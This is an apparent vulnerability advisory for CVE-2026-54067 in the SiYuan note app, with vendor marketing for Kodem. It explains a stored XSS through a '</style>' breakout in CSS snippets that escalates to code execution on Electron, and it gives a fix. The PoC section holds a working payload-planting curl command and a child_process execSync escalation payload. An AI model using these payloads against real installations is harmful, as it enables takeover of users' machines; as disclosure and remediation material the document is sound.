Summary
SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()
Full technical description
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed bydata/snippets/conf.json - Default config:
EnabledCSS: true,EnabledJS: trueatkernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
PoC
Stand up SiYuan:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Plant the snippet:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
Result from my run on 2026-05-19 against b3log/siyuan:latest:
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-54067 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260628153353-2d5d72223df4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
Frequently Asked Questions
- What is CVE-2026-54067? CVE-2026-54067 is a critical-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260628153353-2d5d72223df4. It is fixed in 0.0.0-20260628153353-2d5d72223df4. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-54067? CVE-2026-54067 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-54067? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260628153353-2d5d72223df4 is affected.
- Is there a fix for CVE-2026-54067? Yes. CVE-2026-54067 is fixed in 0.0.0-20260628153353-2d5d72223df4. Upgrade to this version or later.
- Is CVE-2026-54067 exploitable, and should I be worried? Whether CVE-2026-54067 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54067 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54067? Upgrade
github.com/siyuan-note/siyuan/kernelto 0.0.0-20260628153353-2d5d72223df4 or later.